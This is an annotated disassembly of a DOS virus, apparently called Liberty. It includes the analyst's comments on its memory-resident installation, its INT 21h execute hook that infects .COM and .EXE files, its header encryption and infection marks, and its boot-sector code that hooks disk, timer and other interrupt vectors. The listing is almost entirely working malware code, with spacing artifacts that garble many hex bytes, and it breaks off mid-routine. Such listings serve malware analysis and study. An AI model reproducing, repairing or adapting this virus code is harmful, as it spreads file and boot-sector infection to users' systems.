2022-08-21 09:07:57 +00:00
CS: 0 1 1 0 EB79 JMP 018 B
CS: 0 1 1 2 9 0 NOP
;
; The program's original infomation is stored between these sections
;
CS: 0 1 8 B 2 E CS :
CS: 0 1 8 C 803 E090201 CMP BYTE PTR [ 0209 ], 01 ; .EXE file ?
CS: 0 1 9 1 7 4 0 3 JZ 0196
CS: 0 1 9 3 1 F POP DS
CS: 0 1 9 4 5 9 POP CX
CS: 0 1 9 5 5 B POP BX
CS: 0 1 9 6 5 0 PUSH AX
CS: 0 1 9 7 5 3 PUSH BX
CS: 0 1 9 8 5 1 PUSH CX
CS: 0 1 9 9 5 2 PUSH DX
CS: 0 1 9 A 1 E PUSH DS
CS: 0 1 9 B 06 PUSH ES
CS: 0 1 9 C 1 E PUSH DS
CS: 0 1 9 D 0 E PUSH CS
CS: 0 1 9 E 1 F POP DS
CS: 0 1 9 F E8CD00 CALL 026 F ; Installation check
CS: 0 1 A2 3 DFFFF CMP AX , FFFF
CS: 0 1 A5 741 A JZ 01 C1
CS: 0 1 A7 E8D700 CALL 0281 ; Get vector 21h
CS: 0 1 AA 07 POP ES
CS: 0 1 AB 06 PUSH ES
CS: 0 1 AC 8 CC0 MOV AX , ES
CS: 0 1 AE 48 DEC AX
CS: 0 1 AF 8 ED8 MOV DS , AX
CS: 0 1 B1 E8DC00 CALL 0290 ; Adjust MCB
CS: 0 1 B4 8 EC0 MOV ES , AX
CS: 0 1 B6 0 E PUSH CS
CS: 0 1 B7 1 F POP DS
CS: 0 1 B8 E8EC00 CALL 02 A7 ; Move to Upper Memory
CS: 0 1 BB E8F400 CALL 02 B2 ; Set vector 21h
CS: 0 1 BE E80101 CALL 02 C2 ; Set installation flag
CS: 0 1 C1 2 E CS :
CS: 0 1 C2 803 E090201 CMP BYTE PTR [ 0209 ], 01 ; .EXE file ?
CS: 0 1 C7 7417 JZ 01 E0
CS: 0 1 C9 07 POP ES
CS: 0 1 CA 0 E PUSH CS
CS: 0 1 CB 1 F POP DS
CS: 0 1 CC E80901 CALL 02 D8 ; Decrypt header
CS: 0 1 CF E81901 CALL 02 EB ; Restore header
CS: 0 1 D2 07 POP ES
CS: 0 1 D3 1 F POP DS
CS: 0 1 D4 5 A POP DX
CS: 0 1 D5 59 POP CX
CS: 0 1 D6 5 B POP BX
CS: 0 1 D7 58 POP AX
CS: 0 1 D8 1 E PUSH DS
CS: 0 1 D9 BF0001 MOV DI , 0100
CS: 0 1 DC 57 PUSH DI
CS: 0 1 DD 33 FF XOR DI , DI
CS: 0 1 DF CB RETF ; Start file
CS: 0 1 E0 FA CL I
CS: 0 1 E1 5 E POP SI
CS: 0 1 E2 07 POP ES
CS: 0 1 E3 1 F POP DS
CS: 0 1 E4 5 A POP DX
CS: 0 1 E5 59 POP CX
CS: 0 1 E6 5 B POP BX
CS: 0 1 E7 58 POP AX
CS: 0 1 E8 2 E CS :
CS: 0 1 E9 8 B3E2C06 MOV DI ,[ 062 C ]
CS: 0 1 ED 03 FE ADD DI , SI
CS: 0 1 EF 8 ED7 MOV SS , DI
CS: 0 1 F1 2 E CS :
CS: 0 1 F2 8 B3E2E06 MOV DI ,[ 062 E ]
CS: 0 1 F6 8 BE7 MOV SP , DI ; Restore stack
CS: 0 1 F8 2 E CS :
CS: 0 1 F9 8 B3E2806 MOV DI ,[ 0628 ]
CS: 0 1 FD 03 FE ADD DI , SI
CS: 0 1 FF 57 PUSH DI
CS: 0 2 0 0 2 E CS :
CS: 0 2 0 1 FF362A06 PUSH [ 062 A ]
CS: 0 2 0 5 3 3 F6 XOR SI , SI
CS: 0 2 0 7 EBD4 JMP 01 DD ; Start file
;
; The encrypted Liberty header for .COM files
;
DS: 0 2 0 0 1 D 69 D9 00 01 01
DS: 0 2 1 0 8 0 8 0 4 0 4 0 2 0 2 0 1 0 1 0 - 0 8 0 8 A4 05 D2 04 C9 02
DS: 0 2 2 0 4 C 81 A8 40 49 20 21 90 - 0B 48 E8 69 95 05 4 A 92
DS: 0 2 3 0 2 1 1 D 40 A8 43 28 90 14 - 4 E 4 C 07 27 D3 22 81 81
DS: 0 2 4 0 C0 B0 40 C4 79 20 90 29 - 5 C D0 AE 69 57 35 2 B 9 A
DS: 0 2 5 0 3 1 CD 34 40 51 53 AE 5 D - 62 C0 E3 C1 B0 35 58 F6
DS: 0 2 6 0 4 6 E5 20 02
;
; Various subroutines used by the virus
;
CS: 0 2 6 F 2 E CS :
CS: 0 2 7 0 8 A1E6A02 MOV BL ,[ 026 A ]
CS: 0 2 7 4 3 2 FF XOR BH , BH
CS: 0 2 7 6 3 3 C0 XOR AX , AX
CS: 0 2 7 8 8 ED8 MOV DS , AX
CS: 0 2 7 A D1E3 SHL BX , 1
CS: 0 2 7 C D1E3 SHL BX , 1
CS: 0 2 7 E 8 B07 MOV AX ,[ BX ]
CS: 0 2 8 0 C3 RET
CS: 0 2 8 1 A18400 MOV AX ,[ 0084 ]
CS: 0 2 8 4 2 E CS :
CS: 0 2 8 5 A38C03 MOV [ 038 C ], AX
CS: 0 2 8 8 A18600 MOV AX ,[ 0086 ]
CS: 0 2 8 B 2 E CS :
CS: 0 2 8 C A38E03 MOV [ 038 E ], AX
CS: 0 2 8 F C3 RET
CS: 0 2 9 0 BB4221 MOV BX , 2142
CS: 0 2 9 3 B104 MOV CL , 04
CS: 0 2 9 5 D3EB SHR BX , CL
CS: 0 2 9 7 2 9 1 E0300 SUB [ 0003 ], BX
CS: 0 2 9 B A10300 MOV AX ,[ 0003 ]
CS: 0 2 9 E 03060100 ADD AX ,[ 0001 ]
CS: 0 2 A2 A31200 MOV [ 0012 ], AX
CS: 0 2 A5 40 INC AX
CS: 0 2 A6 C3 RET
CS: 0 2 A7 BF1001 MOV DI , 0110
CS: 0 2 AA 8 BF7 MOV SI , DI
CS: 0 2 AC B99A05 MOV CX , 059 A
CS: 0 2 AF F3 REPZ
CS: 0 2 B0 A5 MOVSW
CS: 0 2 B1 C3 RET
CS: 0 2 B2 33 C0 XOR AX , AX
CS: 0 2 B4 8 ED8 MOV DS , AX
CS: 0 2 B6 FA CL I
CS: 0 2 B7 B86C03 MOV AX , 036 C
CS: 0 2 BA A38400 MOV [ 0084 ], AX
CS: 0 2 BD 8 C068600 MOV [ 0086 ], ES
CS: 0 2 C1 C3 RET
CS: 0 2 C2 FA CL I
CS: 0 2 C3 B8FFFF MOV AX , FFFF
CS: 0 2 C6 2 E CS :
CS: 0 2 C7 8 A1E6A02 MOV BL ,[ 026 A ]
CS: 0 2 CB 32 FF XOR BH , BH
CS: 0 2 CD D1E3 SHL BX , 1
CS: 0 2 CF D1E3 SHL BX , 1
CS: 0 2 D1 8907 MOV [ BX ], AX
CS: 0 2 D3 40 INC AX
CS: 0 2 D4 894702 MOV [ BX + 02 ], AX
CS: 0 2 D7 C3 RET
CS: 0 2 D8 B93C00 MOV CX , 003 C
CS: 0 2 DB BE1301 MOV SI , 0113
CS: 0 2 DE 2 E CS :
CS: 0 2 DF 8 B14 MOV DX ,[ SI ]
CS: 0 2 E1 D3CA ROR DX , CL
CS: 0 2 E3 2 E CS :
CS: 0 2 E4 8914 MOV [ SI ], DX
CS: 0 2 E6 46 INC SI
CS: 0 2 E7 46 INC SI
CS: 0 2 E8 E2F4 LOOP 02 DE
CS: 0 2 EA C3 RET
CS: 0 2 EB BF0001 MOV DI , 0100
CS: 0 2 EE BE1301 MOV SI , 0113
CS: 0 2 F1 B93C00 MOV CX , 003 C
CS: 0 2 F4 F3 REPZ
CS: 0 2 F5 A5 MOVSW
CS: 0 2 F6 C3 RET
;
; I am not sure what the next routine is supposed to be doing.
;
CS: 0 2 F7 9 C PUSHF
CS: 0 2 F8 2 E CS :
CS: 0 2 F9 803 E100301 CMP BYTE PTR [ 0310 ], 01
CS: 0 2 FE 740 A JZ 030 A
CS: 0 3 0 0 8 0 FC03 CMP AH , 03
CS: 0 3 0 3 7 5 0 5 JNZ 030 A
CS: 0 3 0 5 8 0 FA80 CMP DL , 80
CS: 0 3 0 8 7 2 0 7 JB 0311
CS: 0 3 0 A 9 D POPF
CS: 0 3 0 B EA00000000 JMP 0000 : 0000
CS: 0 3 1 1 0 6 PUSH ES
CS: 0 3 1 2 0 E PUSH CS
CS: 0 3 1 3 0 7 POP ES
CS: 0 3 1 4 B80902 MOV AX , 0209
CS: 0 3 1 7 BB420C MOV BX , 0 C42
CS: 0 3 1 A B90100 MOV CX , 0001
CS: 0 3 1 D 9 C PUSHF
CS: 0 3 1 E 2 E CS :
CS: 0 3 1 F FF1E0C03 CALL FAR [ 030 C ]
CS: 0 3 2 3 7 2 E5 JB 030 A
CS: 0 3 2 5 B80905 MOV AX , 0509
CS: 0 3 2 8 BB4803 MOV BX , 0348
CS: 0 3 2 B B93100 MOV CX , 0031
CS: 0 3 2 E 9 C PUSHF
CS: 0 3 2 F 2 E CS :
CS: 0 3 3 0 FF1E0C03 CALL FAR [ 030 C ]
CS: 0 3 3 4 7 2 D4 JB 030 A
CS: 0 3 3 6 B80903 MOV AX , 0309
CS: 0 3 3 9 BB420C MOV BX , 0 C42
CS: 0 3 3 C B93100 MOV CX , 0031
CS: 0 3 3 F 9 C PUSHF
CS: 0 3 4 0 2 E CS :
CS: 0 3 4 1 FF1E0C03 CALL FAR [ 030 C ]
CS: 0 3 4 5 0 7 POP ES
CS: 0 3 4 6 9 D POPF
CS: 0 3 4 7 CF IRET
;
; Another format table used by the virus
;
DS: 0 3 4 0 0 0 0 0 3 1 0 2 0 0 0 0 3 2 0 2
DS: 0 3 5 0 0 0 0 0 3 3 0 2 0 0 0 0 3 4 0 2 - 0 0 0 0 3 5 0 2 0 0 0 0 3 6 0 2
DS: 0 3 6 0 0 0 0 0 3 7 0 2 0 0 0 0 3 8 0 2 - 0 0 0 0 3 9 0 2
;
; The virus infects files by monitoring function 4Bh of vector 21h
;
CS: 0 3 6 C 9 C PUSHF
CS: 0 3 6 D 3 D004B CMP AX , 4 B00 ; Execute function ?
CS: 0 3 7 0 7 4 1 E JZ 0390
CS: 0 3 7 2 EB16 JMP 038 A
CS: 0 3 7 4 9 0 NOP
CS: 0 3 7 5 E8B901 CALL 0531 ; Close file
CS: 0 3 7 8 E89A00 CALL 0415 ; Restore vectors
CS: 0 3 7 B C6060C04FF MOV BYTE PTR [ 040 C ], FF
CS: 0 3 8 0 9 0 NOP
CS: 0 3 8 1 9 D POPF
CS: 0 3 8 2 0 7 POP ES
CS: 0 3 8 3 1 F POP DS
CS: 0 3 8 4 5 F POP DI
CS: 0 3 8 5 5 E POP SI
CS: 0 3 8 6 5 A POP DX
CS: 0 3 8 7 5 9 POP CX
CS: 0 3 8 8 5 B POP BX
CS: 0 3 8 9 5 8 POP AX
CS: 0 3 8 A 9 D POPF
CS: 0 3 8 B EA77142C02 JMP 022 C : 1477 ; Continue
CS: 0 3 9 0 5 0 PUSH AX
CS: 0 3 9 1 5 3 PUSH BX
CS: 0 3 9 2 5 1 PUSH CX
CS: 0 3 9 3 5 2 PUSH DX
CS: 0 3 9 4 5 6 PUSH SI
CS: 0 3 9 5 5 7 PUSH DI
CS: 0 3 9 6 1 E PUSH DS
CS: 0 3 9 7 0 6 PUSH ES
CS: 0 3 9 8 9 C PUSHF
CS: 0 3 9 9 E8A600 CALL 0442 ; Set error vectors
CS: 0 3 9 C E8E100 CALL 0480 ; Open file
CS: 0 3 9 F 72 D4 JB 0375
CS: 0 3 A1 0 E PUSH CS
CS: 0 3 A2 1 F POP DS
CS: 0 3 A3 0 E PUSH CS
CS: 0 3 A4 07 POP ES
CS: 0 3 A5 A30A04 MOV [ 040 A ], AX
CS: 0 3 A8 93 XCHG BX , AX
CS: 0 3 A9 C6060C0401 MOV BYTE PTR [ 040 C ], 01
CS: 0 3 AE 90 NOP
CS: 0 3 AF E8D800 CALL 048 A ; Read file header
CS: 0 3 B2 72 C1 JB 0375
CS: 0 3 B4 BB1301 MOV BX , 0113
CS: 0 3 B7 2 E CS :
CS: 0 3 B8 813 F4D5A CMP WORD PTR [ BX ], 5 A4D ; .EXE file ?
CS: 0 3 BC 7505 JNZ 03 C3
CS: 0 3 BE E8C001 CALL 0581 ; Adapt header
CS: 0 3 C1 EBB2 JMP 0375
CS: 0 3 C3 2 E CS :
CS: 0 3 C4 C606090200 MOV BYTE PTR [ 0209 ], 00 ; Set switch
CS: 0 3 C9 E8CD00 CALL 0499 ; Check infection
CS: 0 3 CC 74 A7 JZ 0375
CS: 0 3 CE E8DD00 CALL 04 AE ; Encrypt header
CS: 0 3 D1 E8EB00 CALL 04 BF ; Move to EOF
CS: 0 3 D4 729 F JB 0375
CS: 0 3 D6 83 FA00 CMP DX , + 00 ;
CS: 0 3 D9 759 A JNZ 0375 ;
CS: 0 3 DB 3 D0005 CMP AX , 0500 ;
CS: 0 3 DE 7295 JB 0375 ;
CS: 0 3 E0 3 DFFEF CMP AX , EFFF ;
CS: 0 3 E3 7390 JNB 0375 ; Check file size
CS: 0 3 E5 E8EA00 CALL 04 D2 ; Move to next paragraph
CS: 0 3 E8 728 B JB 0375
CS: 0 3 EA E80701 CALL 04 F4 ; Write virus
CS: 0 3 ED 7286 JB 0375
CS: 0 3 EF 3 BC1 CMP AX , CX
CS: 0 3 F1 7 C11 JL 0404
CS: 0 3 F3 E81301 CALL 0509 ; Move to BOF
CS: 0 3 F6 7209 JB 0401
CS: 0 3 F8 E86201 CALL 055 D ; Decrypt Libery header
CS: 0 3 FB E81E01 CALL 051 C ; Write Liberty header
CS: 0 3 FE E86F01 CALL 0570 ; Encrypt Liberty Header
CS: 0 4 0 1 E971FF JMP 0375
CS: 0 4 0 4 E83801 CALL 053 F ; Set & get vector 13h
CS: 0 4 0 7 E96BFF JMP 0375
;
; Revectoring of error vectors.
;
CS: 0 4 1 5 1 E PUSH DS
CS: 0 4 1 6 3 3 DB XOR BX , BX
CS: 0 4 1 8 8 EDB MOV DS , BX
CS: 0 4 1 A FA CL I
CS: 0 4 1 B 2 E CS :
CS: 0 4 1 C 8 B1E0D04 MOV BX ,[ 040 D ]
CS: 0 4 2 0 8 9 1 E8C00 MOV [ 008 C ], BX
CS: 0 4 2 4 2 E CS :
CS: 0 4 2 5 8 B1E0F04 MOV BX ,[ 040 F ]
CS: 0 4 2 9 8 9 1 E8E00 MOV [ 008 E ], BX
CS: 0 4 2 D FA CL I
CS: 0 4 2 E 2 E CS :
CS: 0 4 2 F 8 B1E1104 MOV BX ,[ 0411 ]
CS: 0 4 3 3 8 9 1 E9000 MOV [ 0090 ], BX
CS: 0 4 3 7 2 E CS :
CS: 0 4 3 8 8 B1E1304 MOV BX ,[ 0413 ]
CS: 0 4 3 C 891 E8E00 MOV [ 008 E ], BX
CS: 0 4 4 0 1 F POP DS
CS: 0 4 4 1 C3 RET
CS: 0 4 4 2 1 E PUSH DS
CS: 0 4 4 3 3 3 DB XOR BX , BX
CS: 0 4 4 5 8 EDB MOV DS , BX
CS: 0 4 4 7 8 B1E8C00 MOV BX ,[ 008 C ]
CS: 0 4 4 B 2 E CS :
CS: 0 4 4 C 891 E0D04 MOV [ 040 D ], BX
CS: 0 4 5 0 8 B1E8E00 MOV BX ,[ 008 E ]
CS: 0 4 5 4 2 E CS :
CS: 0 4 5 5 8 9 1 E0F04 MOV [ 040 F ], BX
CS: 0 4 5 9 FA CL I
CS: 0 4 5 A BB3106 MOV BX , 0631
CS: 0 4 5 D 891 E8C00 MOV [ 008 C ], BX
CS: 0 4 6 1 8 C0E8E00 MOV [ 008 E ], CS
CS: 0 4 6 5 8 B1E9000 MOV BX ,[ 0090 ]
CS: 0 4 6 9 2 E CS :
CS: 0 4 6 A 891 E1104 MOV [ 0411 ], BX
CS: 0 4 6 E 8 B1E9200 MOV BX ,[ 0092 ]
CS: 0 4 7 2 FA CL I
CS: 0 4 7 3 BB3206 MOV BX , 0632
CS: 0 4 7 6 8 9 1 E9000 MOV [ 0090 ], BX
CS: 0 4 7 A 8 C0E9200 MOV [ 0092 ], CS
CS: 0 4 7 E 1 F POP DS
CS: 0 4 7 F C3 RET
;
; Various subroutines used by the virus
;
CS: 0 4 8 0 B8023D MOV AX , 3 D02
CS: 0 4 8 3 9 C PUSHF
CS: 0 4 8 4 2 E CS :
CS: 0 4 8 5 FF1E8C03 CALL FAR [ 038 C ]
CS: 0 4 8 9 C3 RET
CS: 0 4 8 A B43F MOV AH , 3 F
CS: 0 4 8 C B97800 MOV CX , 0078
CS: 0 4 8 F BA1301 MOV DX , 0113
CS: 0 4 9 2 9 C PUSHF
CS: 0 4 9 3 2 E CS :
CS: 0 4 9 4 FF1E8C03 CALL FAR [ 038 C ]
CS: 0 4 9 8 C3 RET
CS: 0 4 9 9 BF1301 MOV DI , 0113
CS: 0 4 9 C 81 C76802 ADD DI , 0268
CS: 0 4 A0 81 EF0A02 SUB DI , 020 A
CS: 0 4 A4 BE6802 MOV SI , 0268
CS: 0 4 A7 FC CL D
CS: 0 4 A8 B90700 MOV CX , 0007
CS: 0 4 AB F3 REPZ
CS: 0 4 AC A6 CMPSB
CS: 0 4 AD C3 RET
CS: 0 4 AE B93C00 MOV CX , 003 C
CS: 0 4 B1 BE1301 MOV SI , 0113
CS: 0 4 B4 8 B14 MOV DX ,[ SI ]
CS: 0 4 B6 D3C2 ROL DX , CL
CS: 0 4 B8 8914 MOV [ SI ], DX
CS: 0 4 BA 46 INC SI
CS: 0 4 BB 46 INC SI
CS: 0 4 BC E2F6 LOOP 04 B4
CS: 0 4 BE C3 RET
CS: 0 4 BF B80242 MOV AX , 4202
CS: 0 4 C2 2 E CS :
CS: 0 4 C3 8 B1E0A04 MOV BX ,[ 040 A ]
CS: 0 4 C7 33 C9 XOR CX , CX
CS: 0 4 C9 33 D2 XOR DX , DX
CS: 0 4 CB 9 C PUSHF
CS: 0 4 CC 2 E CS :
CS: 0 4 CD FF1E8C03 CALL FAR [ 038 C ]
CS: 0 4 D1 C3 RET
CS: 0 4 D2 B90400 MOV CX , 0004
CS: 0 4 D5 D3E8 SHR AX , CL
CS: 0 4 D7 BB6602 MOV BX , 0266
CS: 0 4 DA 8907 MOV [ BX ], AX
CS: 0 4 DC 40 INC AX
CS: 0 4 DD B90400 MOV CX , 0004
CS: 0 4 E0 D3E0 SHL AX , CL
CS: 0 4 E2 92 XCHG DX , AX
CS: 0 4 E3 33 C9 XOR CX , CX
CS: 0 4 E5 B80042 MOV AX , 4200
CS: 0 4 E8 2 E CS :
CS: 0 4 E9 8 B1E0A04 MOV BX ,[ 040 A ]
CS: 0 4 ED 9 C PUSHF
CS: 0 4 EE 2 E CS :
CS: 0 4 EF FF1E8C03 CALL FAR [ 038 C ]
CS: 0 4 F3 C3 RET
CS: 0 4 F4 B9330B MOV CX , 0B 33
CS: 0 4 F7 B80040 MOV AX , 4000
CS: 0 4 FA BA1001 MOV DX , 0110
CS: 0 4 FD 2 E CS :
CS: 0 4 FE 8 B1E0A04 MOV BX ,[ 040 A ]
CS: 0 5 0 2 9 C PUSHF
CS: 0 5 0 3 2 E CS :
CS: 0 5 0 4 FF1E8C03 CALL FAR [ 038 C ]
CS: 0 5 0 8 C3 RET
CS: 0 5 0 9 B80042 MOV AX , 4200
CS: 0 5 0 C 2 E CS :
CS: 0 5 0 D 8 B1E0A04 MOV BX ,[ 040 A ]
CS: 0 5 1 1 3 3 C9 XOR CX , CX
CS: 0 5 1 3 3 3 D2 XOR DX , DX
CS: 0 5 1 5 9 C PUSHF
CS: 0 5 1 6 2 E CS :
CS: 0 5 1 7 FF1E8C03 CALL FAR [ 038 C ]
CS: 0 5 1 B C3 RET
CS: 0 5 1 C BA0A02 MOV DX , 020 A
CS: 0 5 1 F B80040 MOV AX , 4000
CS: 0 5 2 2 2 E CS :
CS: 0 5 2 3 8 B1E0A04 MOV BX ,[ 040 A ]
CS: 0 5 2 7 B97800 MOV CX , 0078
CS: 0 5 2 A 9 C PUSHF
CS: 0 5 2 B 2 E CS :
CS: 0 5 2 C FF1E8C03 CALL FAR [ 038 C ]
CS: 0 5 3 0 C3 RET
CS: 0 5 3 1 B43E MOV AH , 3 E
CS: 0 5 3 3 2 E CS :
CS: 0 5 3 4 8 B1E0A04 MOV BX ,[ 040 A ]
CS: 0 5 3 8 9 C PUSHF
CS: 0 5 3 9 2 E CS :
CS: 0 5 3 A FF1E8C03 CALL FAR [ 038 C ]
CS: 0 5 3 E C3 RET
CS: 0 5 3 F 33 C0 XOR AX , AX
CS: 0 5 4 1 8 ED8 MOV DS , AX
CS: 0 5 4 3 FA CL I
CS: 0 5 4 4 A14C00 MOV AX ,[ 004 C ]
CS: 0 5 4 7 2 E CS :
CS: 0 5 4 8 A31407 MOV [ 0714 ], AX
CS: 0 5 4 B A14E00 MOV AX ,[ 004 E ]
CS: 0 5 4 E 2 E CS :
CS: 0 5 4 F A31607 MOV [ 0716 ], AX
CS: 0 5 5 2 B8F906 MOV AX , 06 F9
CS: 0 5 5 5 A34C00 MOV [ 004 C ], AX
CS: 0 5 5 8 8 C0E4E00 MOV [ 004 E ], CS
CS: 0 5 5 C C3 RET
;
; Header encrypting
;
CS: 0 5 5 D B92D00 MOV CX , 002 D
CS: 0 5 6 0 BE0A02 MOV SI , 020 A
CS: 0 5 6 3 2 E CS :
CS: 0 5 6 4 8 B3C MOV DI ,[ SI ]
CS: 0 5 6 6 D3CF ROR DI , CL
CS: 0 5 6 8 2 E CS :
CS: 0 5 6 9 8 9 3 C MOV [ SI ], DI
CS: 0 5 6 B 46 INC SI
CS: 0 5 6 C 46 INC SI
CS: 0 5 6 D E2F4 LOOP 0563
CS: 0 5 6 F C3 RET
CS: 0 5 7 0 BE0A02 MOV SI , 020 A
CS: 0 5 7 3 B92D00 MOV CX , 002 D
CS: 0 5 7 6 8 B3C MOV DI ,[ SI ]
CS: 0 5 7 8 D3C7 ROL DI , CL
CS: 0 5 7 A 893 C MOV [ SI ], DI
CS: 0 5 7 C 46 INC SI
CS: 0 5 7 D 46 INC SI
CS: 0 5 7 E E2F6 LOOP 0576
CS: 0 5 8 0 C3 RET
;
; .EXE file handling
;
CS: 0 5 8 1 8 B7F02 MOV DI ,[ BX + 02 ]
CS: 0 5 8 4 8 3 FFFF CMP DI , - 01 ; Check infection
CS: 0 5 8 7 7 4 3 9 JZ 05 C2
CS: 0 5 8 9 8 B7F16 MOV DI ,[ BX + 16 ]
CS: 0 5 8 C 83 C710 ADD DI , + 10
CS: 0 5 8 F 893 E2806 MOV [ 0628 ], DI
CS: 0 5 9 3 8 B7F14 MOV DI ,[ BX + 14 ]
CS: 0 5 9 6 8 9 3 E2A06 MOV [ 062 A ], DI
CS: 0 5 9 A 8 B7F0E MOV DI ,[ BX + 0 E ]
CS: 0 5 9 D 83 C710 ADD DI , + 10
CS: 0 5 A0 893 E2C06 MOV [ 062 C ], DI
CS: 0 5 A4 8 B7F10 MOV DI ,[ BX + 10 ]
CS: 0 5 A7 893 E2E06 MOV [ 062 E ], DI
CS: 0 5 AB BF1001 MOV DI , 0110
CS: 0 5 AE 897 F14 MOV [ BX + 14 ], DI ; Set IP
CS: 0 5 B1 BF420D MOV DI , 0 D42
CS: 0 5 B4 897 F10 MOV [ BX + 10 ], DI ; Set SP
CS: 0 5 B7 2 E CS :
CS: 0 5 B8 C606090201 MOV BYTE PTR [ 0209 ], 01 ; Set switch
CS: 0 5 BD E8FFFE CALL 04 BF ; Move to EOF
CS: 0 5 C0 7301 JNB 05 C3
CS: 0 5 C2 C3 RET
CS: 0 5 C3 83 FA0A CMP DX , + 0 A ;
CS: 0 5 C6 77 FA JA 05 C2 ; Check file size
CS: 0 5 C8 B104 MOV CL , 04
CS: 0 5 CA D3E8 SHR AX , CL
CS: 0 5 CC 40 INC AX
CS: 0 5 CD 3 D0010 CMP AX , 1000
CS: 0 5 D0 7501 JNZ 05 D3
CS: 0 5 D2 42 INC DX
CS: 0 5 D3 D3E0 SHL AX , CL
CS: 0 5 D5 50 PUSH AX
CS: 0 5 D6 52 PUSH DX
CS: 0 5 D7 B91000 MOV CX , 0010
CS: 0 5 DA F7F1 DI V CX
CS: 0 5 DC BB1301 MOV BX , 0113
CS: 0 5 DF 2 D1100 SUB AX , 0011
CS: 0 5 E2 8 B7F08 MOV DI ,[ BX + 08 ]
CS: 0 5 E5 2 BC7 SUB AX , DI
CS: 0 5 E7 894716 MOV [ BX + 16 ], AX ; Set CodeSegment
CS: 0 5 EA 89470 E MOV [ BX + 0 E ], AX ; Set StackSegment
CS: 0 5 ED 59 POP CX
CS: 0 5 EE 5 A POP DX
CS: 0 5 EF E8F3FE CALL 04 E5 ; Move to next paragraph
CS: 0 5 F2 722 F JB 0623
CS: 0 5 F4 E8FDFE CALL 04 F4 ; Write virus
CS: 0 5 F7 722 A JB 0623
CS: 0 5 F9 3 BC1 CMP AX , CX
CS: 0 5 FB 7 C27 JL 0624
CS: 0 5 FD E8BFFE CALL 04 BF ; Move to BOF
CS: 0 6 0 0 7 2 2 1 JB 0623
CS: 0 6 0 2 B90002 MOV CX , 0200
CS: 0 6 0 5 F7F1 DI V CX
CS: 0 6 0 7 8 3 FA00 CMP DX , + 00
CS: 0 6 0 A 7401 JZ 060 D
CS: 0 6 0 C 40 INC AX
CS: 0 6 0 D BB1301 MOV BX , 0113
CS: 0 6 1 0 8 9 4 7 0 4 MOV [ BX + 04 ], AX ; Set blocks
CS: 0 6 1 3 C74702FFFF MOV WORD PTR [ BX + 02 ], FFFF ; Set infection mark
CS: 0 6 1 8 E8EEFE CALL 0509 ; Move to BOF
CS: 0 6 1 B 7206 JB 0623
CS: 0 6 1 D BA1301 MOV DX , 0113
CS: 0 6 2 0 E8FCFE CALL 051 F ; Write header
CS: 0 6 2 3 C3 RET
CS: 0 6 2 4 E818FF CALL 053 F ; Set & get vector 13h
CS: 0 6 2 7 C3 RET
;
; Error vectors
;
CS: 0 6 3 1 CF IRET ; Error vector 23h
CS: 0 6 3 2 3 2 C0 XOR AL , AL ;
CS: 0 6 3 4 CF IRET ; Error vector 24h
;
; The next part is the virus's bootsector
;
CS: 0 6 3 5 EB01 JMP 0638
CS: 0 6 3 7 9 0 NOP
CS: 0 6 3 8 3 3 C0 XOR AX , AX
CS: 0 6 3 A 8 ED0 MOV SS , AX
CS: 0 6 3 C BC007C MOV SP , 7 C00
CS: 0 6 3 F 33 C0 XOR AX , AX
CS: 0 6 4 1 8 EC0 MOV ES , AX
CS: 0 6 4 3 BB1304 MOV BX , 0413 ;
CS: 0 6 4 6 2 6 ES: ;
CS: 0 6 4 7 8 B07 MOV AX ,[ BX ] ;
CS: 0 6 4 9 2 D0A00 SUB AX , 000 A ;
CS: 0 6 4 C B106 MOV CL , 06 ;
CS: 0 6 4 E 26 ES : ;
CS: 0 6 4 F 8907 MOV [ BX ], AX ; Decrease memory
CS: 0 6 5 1 D3E0 SHL AX , CL
CS: 0 6 5 3 8 EC0 MOV ES , AX
CS: 0 6 5 5 B80802 MOV AX , 0208 ;
CS: 0 6 5 8 BB1001 MOV BX , 0110 ;
CS: 0 6 5 B B93128 MOV CX , 2831 ;
CS: 0 6 5 E 33 D2 XOR DX , DX ;
CS: 0 6 6 0 CD13 INT 13 ; Read virus
CS: 0 6 6 2 0 6 PUSH ES
CS: 0 6 6 3 BB6806 MOV BX , 0668
CS: 0 6 6 6 5 3 PUSH BX
CS: 0 6 6 7 CB RETF
CS: 0 6 6 8 2 E CS :
CS: 0 6 6 9 8 0 3 EC8060A CMP BYTE PTR [ 06 C8 ], 0 A
CS: 0 6 6 E 7446 JZ 06 B6
CS: 0 6 7 0 3 3 C0 XOR AX , AX
CS: 0 6 7 2 8 ED8 MOV DS , AX
CS: 0 6 7 4 2 E CS :
CS: 0 6 7 5 FE06C806 INC BYTE PTR [ 06 C8 ]
CS: 0 6 7 9 B80803 MOV AX , 0308
CS: 0 6 7 C BB1001 MOV BX , 0110
CS: 0 6 7 F B93128 MOV CX , 2831
CS: 0 6 8 2 3 3 D2 XOR DX , DX
CS: 0 6 8 4 CD13 INT 13
CS: 0 6 8 6 E85200 CALL 06 DB ; Set & get vector 13h
CS: 0 6 8 9 2 E CS : ;
CS: 0 6 8 A C606470BFF MOV BYTE PTR [ 0B 47 ], FF ;
CS: 0 6 8 F 90 NOP ;
CS: 0 6 9 0 2 E CS : ;
CS: 0 6 9 1 C606950BFF MOV BYTE PTR [ 0B 95 ], FF ;
CS: 0 6 9 6 9 0 NOP ;
CS: 0 6 9 7 2 E CS : ;
CS: 0 6 9 8 C606080CFF MOV BYTE PTR [ 0 C08 ], FF ; Switches off
CS: 0 6 9 D 90 NOP
CS: 0 6 9 E E82902 CALL 08 CA ; Set & get vector 8h
CS: 0 6 A1 E85402 CALL 08 F8 ; Set & get vector 1Ch
CS: 0 6 A4 E84104 CALL 0 AE8 ; Set & get vector 10h
CS: 0 6 A7 E85804 CALL 0B 02 ; Set & get vector 14h
CS: 0 6 AA E86F04 CALL 0B 1 C ; Set & get vector 17h
CS: 0 6 AD E81900 CALL 06 C9 ; Read original bootsector
CS: 0 6 B0 BB007C MOV BX , 7 C00 ;
CS: 0 6 B3 1 E PUSH DS ;
CS: 0 6 B4 53 PUSH BX ;
CS: 0 6 B5 CB RETF ; Start
CS: 0 6 B6 E81000 CALL 06 C9 ; Read bootsector
CS: 0 6 B9 B80103 MOV AX , 0301
CS: 0 6 BC BB007C MOV BX , 7 C00
CS: 0 6 BF B90100 MOV CX , 0001
CS: 0 6 C2 33 D2 XOR DX , DX
CS: 0 6 C4 CD13 INT 13
CS: 0 6 C6 EBE5 JMP 06 AD
CS: 0 6 C9 33 C0 XOR AX , AX
CS: 0 6 CB 8 EC0 MOV ES , AX
CS: 0 6 CD B80102 MOV AX , 0201
CS: 0 6 D0 BB007C MOV BX , 7 C00
